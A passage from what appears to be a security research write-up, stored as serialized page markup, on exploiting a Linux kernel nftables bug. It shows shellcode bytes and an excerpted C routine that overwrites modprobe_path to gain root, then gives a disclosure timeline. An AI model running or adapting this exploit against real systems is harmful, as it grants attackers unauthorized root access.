,"tag":141,"props":58295,"children":58296},{"class":143,"line":2429},[58297,58301,58305,58309,58314,58318,58322,58327,58331,58335,58339,58343,58347,58351],{"type":23,"tag":141,"props":58298,"children":58299},{"style":184},[58300],{"type":29,"value":57650},{"type":23,"tag":141,"props":58302,"children":58303},{"style":154},[58304],{"type":29,"value":57592},{"type":23,"tag":141,"props":58306,"children":58307},{"style":160},[58308],{"type":29,"value":3058},{"type":23,"tag":141,"props":58310,"children":58311},{"style":472},[58312],{"type":29,"value":58313}," 0x71",{"type":23,"tag":141,"props":58315,"children":58316},{"style":154},[58317],{"type":29,"value":480},{"type":23,"tag":141,"props":58319,"children":58320},{"style":828},[58321],{"type":29,"value":18731},{"type":23,"tag":141,"props":58323,"children":58324},{"style":46851},[58325],{"type":29,"value":58326},"\\x48\\xc7\\xc0\\x80\\x00\\x00",{"type":23,"tag":141,"props":58328,"children":58329},{"style":828},[58330],{"type":29,"value":18731},{"type":23,"tag":141,"props":58332,"children":58333},{"style":154},[58334],{"type":29,"value":480},{"type":23,"tag":141,"props":58336,"children":58337},{"style":472},[58338],{"type":29,"value":17098},{"type":23,"tag":141,"props":58340,"children":58341},{"style":154},[58342],{"type":29,"value":1748},{"type":23,"tag":141,"props":58344,"children":58345},{"style":160},[58346],{"type":29,"value":7251},{"type":23,"tag":141,"props":58348,"children":58349},{"style":472},[58350],{"type":29,"value":1707},{"type":23,"tag":141,"props":58352,"children":58353},{"style":160},[58354],{"type":29,"value":51163},{"type":23,"tag":141,"props":58356,"children":58357},{"class":143,"line":2459},[58358,58362,58366,58370,58375,58379,58383,58388,58392,58396,58400,58404,58408,58412],{"type":23,"tag":141,"props":58359,"children":58360},{"style":184},[58361],{"type":29,"value":57650},{"type":23,"tag":141,"props":58363,"children":58364},{"style":154},[58365],{"type":29,"value":57592},{"type":23,"tag":141,"props":58367,"children":58368},{"style":160},[58369],{"type":29,"value":3058},{"type":23,"tag":141,"props":58371,"children":58372},{"style":472},[58373],{"type":29,"value":58374}," 0x78",{"type":23,"tag":141,"props":58376,"children":58377},{"style":154},[58378],{"type":29,"value":480},{"type":23,"tag":141,"props":58380,"children":58381},{"style":828},[58382],{"type":29,"value":18731},{"type":23,"tag":141,"props":58384,"children":58385},{"style":46851},[58386],{"type":29,"value":58387},"\\xff\\xe0",{"type":23,"tag":141,"props":58389,"children":58390},{"style":828},[58391],{"type":29,"value":18731},{"type":23,"tag":141,"props":58393,"children":58394},{"style":154},[58395],{"type":29,"value":480},{"type":23,"tag":141,"props":58397,"children":58398},{"style":472},[58399],{"type":29,"value":1049},{"type":23,"tag":141,"props":58401,"children":58402},{"style":154},[58403],{"type":29,"value":1748},{"type":23,"tag":141,"props":58405,"children":58406},{"style":160},[58407],{"type":29,"value":7251},{"type":23,"tag":141,"props":58409,"children":58410},{"style":472},[58411],{"type":29,"value":1707},{"type":23,"tag":141,"props":58413,"children":58414},{"style":154},[58415],{"type":29,"value":758},{"type":23,"tag":141,"props":58417,"children":58418},{"class":143,"line":2467},[58419,58423,58427],{"type":23,"tag":141,"props":58420,"children":58421},{"style":148},[58422],{"type":29,"value":14420},{"type":23,"tag":141,"props":58424,"children":58425},{"style":449},[58426],{"type":29,"value":11148},{"type":23,"tag":141,"props":58428,"children":58429},{"style":154},[58430],{"type":29,"value":1684},{"type":23,"tag":141,"props":58432,"children":58433},{"class":143,"line":2499},[58434],{"type":23,"tag":141,"props":58435,"children":58436},{"emptyLinePlaceholder":15},[58437],{"type":29,"value":719},{"type":23,"tag":141,"props":58439,"children":58440},{"class":143,"line":2507},[58441,58445,58449],{"type":23,"tag":141,"props":58442,"children":58443},{"style":148},[58444],{"type":29,"value":15665},{"type":23,"tag":141,"props":58446,"children":58447},{"style":449},[58448],{"type":29,"value":7735},{"type":23,"tag":141,"props":58450,"children":58451},{"style":154},[58452],{"type":29,"value":1684},{"type":23,"tag":141,"props":58454,"children":58455},{"class":143,"line":2567},[58456],{"type":23,"tag":141,"props":58457,"children":58458},{"style":154},[58459],{"type":29,"value":2573},{"type":23,"tag":141,"props":58461,"children":58462},{"class":143,"line":7724},[58463],{"type":23,"tag":141,"props":58464,"children":58465},{"style":154},[58466],{"type":29,"value":8998},{"type":23,"tag":8287,"props":58468,"children":58470},{"id":58469},"overwriting-modprobe_path",[58471,58473],{"type":29,"value":58472},"Overwriting ",{"type":23,"tag":38,"props":58474,"children":58476},{"className":58475},[],[58477],{"type":29,"value":56858},{"type":23,"tag":32,"props":58479,"children":58480},{},[58481,58483,58489],{"type":29,"value":58482},"Finding the ",{"type":23,"tag":38,"props":58484,"children":58486},{"className":58485},[],[58487],{"type":29,"value":58488},"/sbin/modprobe",{"type":29,"value":58490}," string in kernel memory and replacing it with a controlled value that points to a file we own finally becomes relatively trivial.",{"type":23,"tag":32,"props":58492,"children":58493},{},[58494,58496,58502],{"type":29,"value":58495},"A very well-known trick for this to work, although we are running in a chroot without being able to create files at the root filesystem, is using a memfd exposed through ",{"type":23,"tag":38,"props":58497,"children":58499},{"className":58498},[],[58500],{"type":29,"value":58501},"/proc/\u003Cpid>/fd/\u003Cn>.",{"type":29,"value":58503}," It's worth adding that, given that our pid outside the unprivileged namespace is unknown to us, we brute-force it.",{"type":23,"tag":131,"props":58505,"children":58507},{"className":133,"code":58506,"language":135,"meta":7,"style":7},"[...]\n puts(\"[*] overwrite modprobe_path\");\n for (int i = 0; i \u003C 4194304; i++)\n {\n pipebuf->page = modprobe_page;\n pipebuf->offset = modprobe_off;\n pipebuf->len = 0;\n for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n {\n if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n {\n perror(\"[-] write(socket)\");\n break;\n }\n }\n\n memset(&data, 0, PAGE_SIZE);\n snprintf(fd_path, sizeof(fd_path), \"/proc/%i/fd/%i\", i, modprobe_fd);\n\n lseek(modprobe_fd, 0, SEEK_SET);\n dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n\n if (write(pfd[pipe_idx][1], fd_path, 32) \u003C 0)\n {\n perror(\"\\n[-] write(pipe)\");\n }\n\n if (check_modprobe(fd_path))\n {\n puts(\"[-] failed to overwrite modprobe\");\n break;\n }\n\n if (trigger_modprobe(status_fd))\n {\n puts(\"\\n[+] got root\");\n goto out;\n }\n\n for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n {\n if (read(sock[i][1], leak, 1024 - 320) \u003C 0)\n {\n perror(\"[-] read(socket)\");\n return -1;\n }\n }\n }\n puts(\"[-] fake modprobe failed\");\n[...]\n",[58508],{"type":23,"tag":38,"props":58509,"children":58510},{"__ignoreMap":7},[58511,58518,58540,58548,58555,58563,58571,58579,58587,58594,58602,58609,58647,58658,58665,58672,58679,58706,58737,58744,58766,58779,58786,58844,58851,58879,58886,58893,58914,58921,58942,58953,58960,58967,58988,58995,59023,59036,59043,59050,59099,59106,59174,59181,59202,59222,59229,59236,59243,59263],{"type":23,"tag":141,"props":58512,"children":58513},{"class":143,"line":144},[58514],{"type":23,"tag":141,"props":58515,"children":58516},{"style":154},[58517],{"type":29,"value":8998},{"type":23,"tag":141,"props":58519,"children":58520},{"class":143,"line":180},[58521,58526,58531,58536],{"type":23,"tag":141,"props":58522,"children":58523},{"style":154},[58524],{"type":29,"value":58525}," puts(\"[*] ",{"type":23,"tag":141,"props":58527,"children":58528},{"style":725},[58529],{"type":29,"value":58530},"overwrite",{"type":23,"tag":141,"props":58532,"children":58533},{"style":725},[58534],{"type":29,"value":58535}," modprobe_path",{"type":23,"tag":141,"props":58537,"children":58538},{"style":828},[58539],{"type":29,"value":54771},{"type":23,"tag":141,"props":58541,"children":58542},{"class":143,"line":205},[58543],{"type":23,"tag":141,"props":58544,"children":58545},{"style":828},[58546],{"type":29,"value":58547}," for (int i = 0; i \u003C 4194304; i++)\n",{"type":23,"tag":141,"props":58549,"children":58550},{"class":143,"line":218},[58551],{"type":23,"tag":141,"props":58552,"children":58553},{"style":828},[58554],{"type":29,"value":224},{"type":23,"tag":141,"props":58556,"children":58557},{"class":143,"line":227},[58558],{"type":23,"tag":141,"props":58559,"children":58560},{"style":828},[58561],{"type":29,"value":58562}," pipebuf->page = modprobe_page;\n",{"type":23,"tag":141,"props":58564,"children":58565},{"class":143,"line":241},[58566],{"type":23,"tag":141,"props":58567,"children":58568},{"style":828},[58569],{"type":29,"value":58570}," pipebuf->offset = modprobe_off;\n",{"type":23,"tag":141,"props":58572,"children":58573},{"class":143,"line":262},[58574],{"type":23,"tag":141,"props":58575,"children":58576},{"style":828},[58577],{"type":29,"value":58578}," pipebuf->len = 0;\n",{"type":23,"tag":141,"props":58580,"children":58581},{"class":143,"line":271},[58582],{"type":23,"tag":141,"props":58583,"children":58584},{"style":828},[58585],{"type":29,"value":58586}," for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n",{"type":23,"tag":141,"props":58588,"children":58589},{"class":143,"line":293},[58590],{"type":23,"tag":141,"props":58591,"children":58592},{"style":828},[58593],{"type":29,"value":30127},{"type":23,"tag":141,"props":58595,"children":58596},{"class":143,"line":801},[58597],{"type":23,"tag":141,"props":58598,"children":58599},{"style":828},[58600],{"type":29,"value":58601}," if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n",{"type":23,"tag":141,"props":58603,"children":58604},{"class":143,"line":810},[58605],{"type":23,"tag":141,"props":58606,"children":58607},{"style":828},[58608],{"type":29,"value":30163},{"type":23,"tag":141,"props":58610,"children":58611},{"class":143,"line":824},[58612,58617,58621,58625,58629,58634,58638,58642],{"type":23,"tag":141,"props":58613,"children":58614},{"style":828},[58615],{"type":29,"value":58616}," perror(\"",{"type":23,"tag":141,"props":58618,"children":58619},{"style":154},[58620],{"type":29,"value":2399},{"type":23,"tag":141,"props":58622,"children":58623},{"style":160},[58624],{"type":29,"value":3004},{"type":23,"tag":141,"props":58626,"children":58627},{"style":154},[58628],{"type":29,"value":7337},{"type":23,"tag":141,"props":58630,"children":58631},{"style":725},[58632],{"type":29,"value":58633},"write",{"type":23,"tag":141,"props":58635,"children":58636},{"style":154},[58637],{"type":29,"value":192},{"type":23,"tag":141,"props":58639,"children":58640},{"style":725},[58641],{"type":29,"value":40411},{"type":23,"tag":141,"props":58643,"children":58644},{"style":154},[58645],{"type":29,"value":58646},")\");\n",{"type":23,"tag":141,"props":58648,"children":58649},{"class":143,"line":839},[58650,58654],{"type":23,"tag":141,"props":58651,"children":58652},{"style":148},[58653],{"type":29,"value":57440},{"type":23,"tag":141,"props":58655,"children":58656},{"style":154},[58657],{"type":29,"value":1684},{"type":23,"tag":141,"props":58659,"children":58660},{"class":143,"line":848},[58661],{"type":23,"tag":141,"props":58662,"children":58663},{"style":154},[58664],{"type":29,"value":57365},{"type":23,"tag":141,"props":58666,"children":58667},{"class":143,"line":2304},[58668],{"type":23,"tag":141,"props":58669,"children":58670},{"style":154},[58671],{"type":29,"value":2008},{"type":23,"tag":141,"props":58673,"children":58674},{"class":143,"line":2313},[58675],{"type":23,"tag":141,"props":58676,"children":58677},{"emptyLinePlaceholder":15},[58678],{"type":29,"value":719},{"type":23,"tag":141,"props":58680,"children":58681},{"class":143,"line":2335},[58682,58686,58690,58694,58698,58702],{"type":23,"tag":141,"props":58683,"children":58684},{"style":184},[58685],{"type":29,"value":53096},{"type":23,"tag":141,"props":58687,"children":58688},{"style":154},[58689],{"type":29,"value":192},{"type":23,"tag":141,"props":58691,"children":58692},{"style":160},[58693],{"type":29,"value":1770},{"type":23,"tag":141,"props":58695,"children":58696},{"style":154},[58697],{"type":29,"value":57251},{"type":23,"tag":141,"props":58699,"children":58700},{"style":472},[58701],{"type":29,"value":2698},{"type":23,"tag":141,"props":58703,"children":58704},{"style":154},[58705],{"type":29,"value":57260},{"type":23,"tag":141,"props":58707,"children":58708},{"class":143,"line":2343},[58709,58713,58718,58722,58727,58732],{"type":23,"tag":141,"props":58710,"children":58711},{"style":184},[58712],{"type":29,"value":53797},{"type":23,"tag":141,"props":58714,"children":58715},{"style":154},[58716],{"type":29,"value":58717},"(fd_path, ",{"type":23,"tag":141,"props":58719,"children":58720},{"style":449},[58721],{"type":29,"value":53807},{"type":23,"tag":141,"props":58723,"children":58724},{"style":154},[58725],{"type":29,"value":58726},"(fd_path), ",{"type":23,"tag":141,"props":58728,"children":58729},{"style":828},[58730],{"type":29,"value":58731},"\"/proc/%i/fd/%i\"",{"type":23,"tag":141,"props":58733,"children":58734},{"style":154},[58735],{"type":29,"value":58736},", i, modprobe_fd);\n",{"type":23,"tag":141,"props":58738,"children":58739},{"class":143,"line":2352},[58740],{"type":23,"tag":141,"props":58741,"children":58742},{"emptyLinePlaceholder":15},[58743],{"type":29,"value":719},{"type":23,"tag":141,"props":58745,"children":58746},{"class":143,"line":2421},[58747,58752,58757,58761],{"type":23,"tag":141,"props":58748,"children":58749},{"style":184},[58750],{"type":29,"value":58751}," lseek",{"type":23,"tag":141,"props":58753,"children":58754},{"style":154},[58755],{"type":29,"value":58756},"(modprobe_fd, ",{"type":23,"tag":141,"props":58758,"children":58759},{"style":472},[58760],{"type":29,"value":2698},{"type":23,"tag":141,"props":58762,"children":58763},{"style":154},[58764],{"type":29,"value":58765},", SEEK_SET);\n",{"type":23,"tag":141,"props":58767,"children":58768},{"class":143,"line":2429},[58769,58774],{"type":23,"tag":141,"props":58770,"children":58771},{"style":184},[58772],{"type":29,"value":58773}," dprintf",{"type":23,"tag":141,"props":58775,"children":58776},{"style":154},[58777],{"type":29,"value":58778},"(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n",{"type":23,"tag":141,"props":58780,"children":58781},{"class":143,"line":2459},[58782],{"type":23,"tag":141,"props":58783,"children":58784},{"emptyLinePlaceholder":15},[58785],{"type":29,"value":719},{"type":23,"tag":141,"props":58787,"children":58788},{"class":143,"line":2467},[58789,58793,58797,58801,58805,58809,58814,58818,58823,58828,58832,58836,58840],{"type":23,"tag":141,"props":58790,"children":58791},{"style":148},[58792],{"type":29,"value":233},{"type":23,"tag":141,"props":58794,"children":58795},{"style":154},[58796],{"type":29,"value":1220},{"type":23,"tag":141,"props":58798,"children":58799},{"style":184},[58800],{"type":29,"value":58633},{"type":23,"tag":141,"props":58802,"children":58803},{"style":154},[58804],{"type":29,"value":192},{"type":23,"tag":141,"props":58806,"children":58807},{"style":750},[58808],{"type":29,"value":57304},{"type":23,"tag":141,"props":58810,"children":58811},{"style":154},[58812],{"type":29,"value":58813},"[pipe_idx][",{"type":23,"tag":141,"props":58815,"children":58816},{"style":472},[58817],{"type":29,"value":687},{"type":23,"tag":141,"props":58819,"children":58820},{"style":154},[58821],{"type":29,"value":58822},"], fd_path, ",{"type":23,"tag":141,"props":58824,"children":58825},{"style":472},[58826],{"type":29,"value":58827},"32",{"type":23,"tag":141,"props":58829,"children":58830},{"style":154},[58831],{"type":29,"value":1748},{"type":23,"tag":141,"props":58833,"children":58834},{"style":160},[58835],{"type":29,"value":4480},{"type":23,"tag":141,"props":58837,"children":58838},{"style":472},[58839],{"type":29,"value":1707},{"type":23,"tag":141,"props":58841,"children":58842},{"style":154},[58843],{"type":29,"value":758},{"type":23,"tag":141,"props":58845,"children":58846},{"class":143,"line":2499},[58847],{"type":23,"tag":141,"props":58848,"children":58849},{"style":154},[58850],{"type":29,"value":30127},{"type":23,"tag":141,"props":58852,"children":58853},{"class":143,"line":2507},[58854,58858,58862,58866,58870,58875],{"type":23,"tag":141,"props":58855,"children":58856},{"style":184},[58857],{"type":29,"value":56377},{"type":23,"tag":141,"props":58859,"children":58860},{"style":154},[58861],{"type":29,"value":192},{"type":23,"tag":141,"props":58863,"children":58864},{"style":828},[58865],{"type":29,"value":18731},{"type":23,"tag":141,"props":58867,"children":58868},{"style":46851},[58869],{"type":29,"value":46854},{"type":23,"tag":141,"props":58871,"children":58872},{"style":828},[58873],{"type":29,"value":58874},"[-] write(pipe)\"",{"type":23,"tag":141,"props":58876,"children":58877},{"style":154},[58878],{"type":29,"value":2496},{"type":23,"tag":141,"props":58880,"children":58881},{"class":143,"line":2567},[58882],{"type":23,"tag":141,"props":58883,"children":58884},{"style":154},[58885],{"type":29,"value":2008},{"type":23,"tag":141,"props":58887,"children":58888},{"class":143,"line":7724},[58889],{"type":23,"tag":141,"props":58890,"children":58891},{"emptyLinePlaceholder":15},[58892],{"type":29,"value":719},{"type":23,"tag":141,"props":58894,"children":58895},{"class":143,"line":7742},[58896,58900,58904,58909],{"type":23,"tag":141,"props":58897,"children":58898},{"style":148},[58899],{"type":29,"value":233},{"type":23,"tag":141,"props":58901,"children":58902},{"style":154},[58903],{"type":29,"value":1220},{"type":23,"tag":141,"props":58905,"children":58906},{"style":184},[58907],{"type":29,"value":58908},"check_modprobe",{"type":23,"tag":141,"props":58910,"children":58911},{"style":154},[58912],{"type":29,"value":58913},"(fd_path))\n",{"type":23,"tag":141,"props":58915,"children":58916},{"class":143,"line":7787},[58917],{"type":23,"tag":141,"props":58918,"children":58919},{"style":154},[58920],{"type":29,"value":30127},{"type":23,"tag":141,"props":58922,"children":58923},{"class":143,"line":7893},[58924,58929,58933,58938],{"type":23,"tag":141,"props":58925,"children":58926},{"style":184},[58927],{"type":29,"value":58928}," puts",{"type":23,"tag":141,"props":58930,"children":58931},{"style":154},[58932],{"type":29,"value":192},{"type":23,"tag":141,"props":58934,"children":58935},{"style":828},[58936],{"type":29,"value":58937},"\"[-] failed to overwrite modprobe\"",{"type":23,"tag":141,"props":58939,"children":58940},{"style":154},[58941],{"type":29,"value":2496},{"type":23,"tag":141,"props":58943,"children":58944},{"class":143,"line":22181},[58945,58949],{"type":23,"tag":141,"props":58946,"children":58947},{"style":148},[58948],{"type":29,"value":1959},{"type":23,"tag":141,"props":58950,"children":58951},{"style":154},[58952],{"type":29,"value":1684},{"type":23,"tag":141,"props":58954,"children":58955},{"class":143,"line":22216},[58956],{"type":23,"tag":141,"props":58957,"children":58958},{"style":154},[58959],{"type":29,"value":2008},{"type":23,"tag":141,"props":58961,"children":58962},{"class":143,"line":22224},[58963],{"type":23,"tag":141,"props":58964,"children":58965},{"emptyLinePlaceholder":15},[58966],{"type":29,"value":719},{"type":23,"tag":141,"props":58968,"children":58969},{"class":143,"line":22232},[58970,58974,58978,58983],{"type":23,"tag":141,"props":58971,"children":58972},{"style":148},[58973],{"type":29,"value":233},{"type":23,"tag":141,"props":58975,"children":58976},{"style":154},[58977],{"type":29,"value":1220},{"type":23,"tag":141,"props":58979,"children":58980},{"style":184},[58981],{"type":29,"value":58982},"trigger_modprobe",{"type":23,"tag":141,"props":58984,"children":58985},{"style":154},[58986],{"type":29,"value":58987},"(status_fd))\n",{"type":23,"tag":141,"props":58989,"children":58990},{"class":143,"line":22241},[58991],{"type":23,"tag":141,"props":58992,"children":58993},{"style":154},[58994],{"type":29,"value":30127},{"type":23,"tag":141,"props":58996,"children":58997},{"class":143,"line":22283},[58998,59002,59006,59010,59014,59019],{"type":23,"tag":141,"props":58999,"children":59000},{"style":184},[59001],{"type":29,"value":58928},{"type":23,"tag":141,"props":59003,"children":59004},{"style":154},[59005],{"type":29,"value":192},{"type":23,"tag":141,"props":59007,"children":59008},{"style":828},[59009],{"type":29,"value":18731},{"type":23,"tag":141,"props":59011,"children":59012},{"style":46851},[59013],{"type":29,"value":46854},{"type":23,"tag":141,"props":59015,"children":59016},{"style":828},[59017],{"type":29,"value":59018},"[+] got root\"",{"type":23,"tag":141,"props":59020,"children":59021},{"style":154},[59022],{"type":29,"value":2496},{"type":23,"tag":141,"props":59024,"children":59025},{"class":143,"line":22316},[59026,59031],{"type":23,"tag":141,"props":59027,"children":59028},{"style":148},[59029],{"type":29,"value":59030}," goto",{"type":23,"tag":141,"props":59032,"children":59033},{"style":154},[59034],{"type":29,"value":59035}," out;\n",{"type":23,"tag":141,"props":59037,"children":59038},{"class":143,"line":22324},[59039],{"type":23,"tag":141,"props":59040,"children":59041},{"style":154},[59042],{"type":29,"value":2008},{"type":23,"tag":141,"props":59044,"children":59045},{"class":143,"line":22332},[59046],{"type":23,"tag":141,"props":59047,"children":59048},{"emptyLinePlaceholder":15},[59049],{"type":29,"value":719},{"type":23,"tag":141,"props":59051,"children":59052},{"class":143,"line":22341},[59053,59058,59062,59066,59070,59074,59078,59082,59086,59091,59095],{"type":23,"tag":141,"props":59054,"children":59055},{"style":148},[59056],{"type":29,"value":59057}," for",{"type":23,"tag":141,"props":59059,"children":59060},{"style":154},[59061],{"type":29,"value":1220},{"type":23,"tag":141,"props":59063,"children":59064},{"style":449},[59065],{"type":29,"value":17718},{"type":23,"tag":141,"props":59067,"children":59068},{"style":154},[59069],{"type":29,"value":53023},{"type":23,"tag":141,"props":59071,"children":59072},{"style":160},[59073],{"type":29,"value":1377},{"type":23,"tag":141,"props":59075,"children":59076},{"style":472},[59077],{"type":29,"value":1707},{"type":23,"tag":141,"props":59079,"children":59080},{"style":154},[59081],{"type":29,"value":49712},{"type":23,"tag":141,"props":59083,"children":59084},{"style":160},[59085],{"type":29,"value":4480},{"type":23,"tag":141,"props":59087,"children":59088},{"style":154},[59089],{"type":29,"value":59090}," SKBUF_SPRAY; i",{"type":23,"tag":141,"props":59092,"children":59093},{"style":160},[59094],{"type":29,"value":49748},{"type":23,"tag":141,"props":59096,"children":59097},{"style":154},[59098],{"type":29,"value":758},{"type":23,"tag":141,"props":59100,"children":59101},{"class":143,"line":22417},[59102],{"type":23,"tag":141,"props":59103,"children":59104},{"style":154},[59105],{"type":29,"value":30127},{"type":23,"tag":141,"props":59107,"children":59108},{"class":143,"line":22450},[59109,59113,59117,59122,59126,59131,59136,59140,59145,59149,59153,59158,59162,59166,59170],{"type":23,"tag":141,"props":59110,"children":59111},{"style":148},[59112],{"type":29,"value":57281},{"type":23,"tag":141,"props":59114,"children":59115},{"style":154},[59116],{"type":29,"value":1220},{"type":23,"tag":141,"props":59118,"children":59119},{"style":184},[59120],{"type":29,"value":59121},"read",{"type":23,"tag":141,"props":59123,"children":59124},{"style":154},[59125],{"type":29,"value":192},{"type":23,"tag":141,"props":59127,"children":59128},{"style":750},[59129],{"type":29,"value":59130},"sock",{"type":23,"tag":141,"props":59132,"children":59133},{"style":154},[59134],{"type":29,"value":59135},"[i][",{"type":23,"tag":141,"props":59137,"children":59138},{"style":472},[59139],{"type":29,"value":687},{"type":23,"tag":141,"props":59141,"children":59142},{"style":154},[59143],{"type":29,"value":59144},"], leak, ",{"type":23,"tag":141,"props":59146,"children":59147},{"style":472},[59148],{"type":29,"value":56628},{"type":23,"tag":141,"props":59150,"children":59151},{"style":160},[59152],{"type":29,"value":49734},{"type":23,"tag":141,"props":59154,"children":59155},{"style":472},[59156],{"type":29,"value":59157}," 320",{"type":23,"tag":141,"props":59159,"children":59160},{"style":154},[59161],{"type":29,"value":1748},{"type":23,"tag":141,"props":59163,"children":59164},{"style":160},[59165],{"type":29,"value":4480},{"type":23,"tag":141,"props":59167,"children":59168},{"style":472},[59169],{"type":29,"value":1707},{"type":23,"tag":141,"props":59171,"children":59172},{"style":154},[59173],{"type":29,"value":758},{"type":23,"tag":141,"props":59175,"children":59176},{"class":143,"line":22458},[59177],{"type":23,"tag":141,"props":59178,"children":59179},{"style":154},[59180],{"type":29,"value":30163},{"type":23,"tag":141,"props":59182,"children":59183},{"class":143,"line":22466},[59184,59189,59193,59198],{"type":23,"tag":141,"props":59185,"children":59186},{"style":184},[59187],{"type":29,"value":59188}," perror",{"type":23,"tag":141,"props":59190,"children":59191},{"style":154},[59192],{"type":29,"value":192},{"type":23,"tag":141,"props":59194,"children":59195},{"style":828},[59196],{"type":29,"value":59197},"\"[-] read(socket)\"",{"type":23,"tag":141,"props":59199,"children":59200},{"style":154},[59201],{"type":29,"value":2496},{"type":23,"tag":141,"props":59203,"children":59204},{"class":143,"line":22503},[59205,59210,59214,59218],{"type":23,"tag":141,"props":59206,"children":59207},{"style":148},[59208],{"type":29,"value":59209}," return",{"type":23,"tag":141,"props":59211,"children":59212},{"style":160},[59213],{"type":29,"value":49734},{"type":23,"tag":141,"props":59215,"children":59216},{"style":472},[59217],{"type":29,"value":687},{"type":23,"tag":141,"props":59219,"children":59220},{"style":154},[59221],{"type":29,"value":1684},{"type":23,"tag":141,"props":59223,"children":59224},{"class":143,"line":22516},[59225],{"type":23,"tag":141,"props":59226,"children":59227},{"style":154},[59228],{"type":29,"value":57365},{"type":23,"tag":141,"props":59230,"children":59231},{"class":143,"line":22529},[59232],{"type":23,"tag":141,"props":59233,"children":59234},{"style":154},[59235],{"type":29,"value":2008},{"type":23,"tag":141,"props":59237,"children":59238},{"class":143,"line":22542},[59239],{"type":23,"tag":141,"props":59240,"children":59241},{"style":154},[59242],{"type":29,"value":299},{"type":23,"tag":141,"props":59244,"children":59245},{"class":143,"line":22596},[59246,59250,59254,59259],{"type":23,"tag":141,"props":59247,"children":59248},{"style":184},[59249],{"type":29,"value":53986},{"type":23,"tag":141,"props":59251,"children":59252},{"style":154},[59253],{"type":29,"value":192},{"type":23,"tag":141,"props":59255,"children":59256},{"style":828},[59257],{"type":29,"value":59258},"\"[-] fake modprobe failed\"",{"type":23,"tag":141,"props":59260,"children":59261},{"style":154},[59262],{"type":29,"value":2496},{"type":23,"tag":141,"props":59264,"children":59265},{"class":143,"line":22605},[59266],{"type":23,"tag":141,"props":59267,"children":59268},{"style":154},[59269],{"type":29,"value":8998},{"type":23,"tag":32,"props":59271,"children":59272},{},[59273,59275,59282],{"type":29,"value":59274},"This trick has already been throughly detailed by ",{"type":23,"tag":55,"props":59276,"children":59279},{"href":59277,"rel":59278},"https://pwning.tech/nftables/#28-overwriting-modprobepath",[59],[59280],{"type":29,"value":59281},"lau",{"type":29,"value":59283},", so we won't go much more into it.",{"type":23,"tag":8287,"props":59285,"children":59287},{"id":59286},"universal-exploit-demo",[59288],{"type":29,"value":59289},"Universal exploit demo",{"type":23,"tag":32,"props":59291,"children":59292},{},[59293,59295,59301],{"type":29,"value":59294},"{%youtube tjbp4Mtfo8w %}\nYou can find the complete universal exploit in our ",{"type":23,"tag":55,"props":59296,"children":59299},{"href":59297,"rel":59298},"https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c",[59],[59300],{"type":29,"value":55895},{"type":29,"value":322},{"type":23,"tag":24,"props":59303,"children":59305},{"id":59304},"disclosure-timeline",[59306],{"type":29,"value":59307},"Disclosure Timeline",{"type":23,"tag":15362,"props":59309,"children":59310},{},[59311,59316,59321,59326,59331],{"type":23,"tag":120,"props":59312,"children":59313},{},[59314],{"type":29,"value":59315},"March 21st -- Patch made public",{"type":23,"tag":120,"props":59317,"children":59318},{},[59319],{"type":29,"value":59320},"March 23rd -- Scrolled through commits and found the bug fix.",{"type":23,"tag":120,"props":59322,"children":59323},{},[59324],{"type":29,"value":59325},"March 24th -- Wrote KernelCTF exploit",{"type":23,"tag":120,"props":59327,"children":59328},{},[59329],{"type":29,"value":59330},"March 26th -- Wrote Universal exploit",{"type":23,"tag":120,"props":59332,"children":59333},{},[59334],{"type":29,"value":59335},"May 23rd -- Patch landed on Ubuntu and Debian",{"type":23,"tag":32,"props":59337,"children":59338},{},[59339],{"type":29,"value":59340},"Note that the universal exploit was alive for roughly 2 months against popular distros.",{"type":23,"tag":24,"props":59342,"children":59343},{"id":27618},[59344],{"type":29,"value":17618},{"type":23,"tag":32,"props":59346,"children":59347},{},[59348],{"type":29,"value":59349},"In this post, I have discussed how a bug fixed by a commit freshly made public can be used to exploit the latest stable releases of the kernel and maintain 0day-like primitives for an extended period. I've also discussed two different paths to exploit the vulnerability: one that I used to exploit the KernelCTF instance and retrieve the flag and a second one that I used to craft a universal exploit binary that works stably in all tested targets without needing to be adapted or even recompiled.",{"type":23,"tag":32,"props":59351,"children":59352},{},[59353],{"type":29,"value":59354},"What we have observed is not novel; despite the efforts and progress made by the Linux community to improve kernel security, it's been made evident that the supply of exploitable bugs is still virtually unlimited and that the open-source patch gap is long enough to maintain capabilities that are live.",{"type":23,"tag":1508,"props":59356,"children":59357},{},[59358],{"type":29,"value":1512},{"title":7,"searchDepth":180,"depth":180,"links":59360},[59361,59364,59367,59370,59371,59381,59389,59390],{"id":49046,"depth":180,"text":49049,"children":59362},[59363],{"id":49067,"depth":205,"text":49070},{"id":49110,"depth":180,"text":49110,"children":59365},[59366],{"id":49157,"depth":205,"text":49160},{"id":49215,"depth":180,"text":49218,"children":59368},[59369],{"id":50378,"depth":205,"text":50381},{"id":52253,"depth":180,"text":52256},{"id":52655,"depth":180,"text":52658,"children":59372},[59373,59374,59375,59377,59378,59379,59380],{"id":52682,"depth":205,"text":52685},{"id":53564,"depth":205,"text":53567},{"id":54150,"depth":205,"text":59376},"Leaking self pointer of nft_object",{"id":54548,"depth":205,"text":54551},{"id":55062,"depth":205,"text":55065},{"id":55192,"depth":205,"text":54849},{"id":55876,"depth":205,"text":55879},{"id":55899,"depth":180,"text":55902,"children":59382},[59383,59384,59385,59386,59388],{"id":55910,"depth":205,"text":55913},{"id":56768,"depth":205,"text":56771},{"id":56844,"depth":205,"text":56847},{"id":58469,"depth":205,"text":59387},"Overwriting 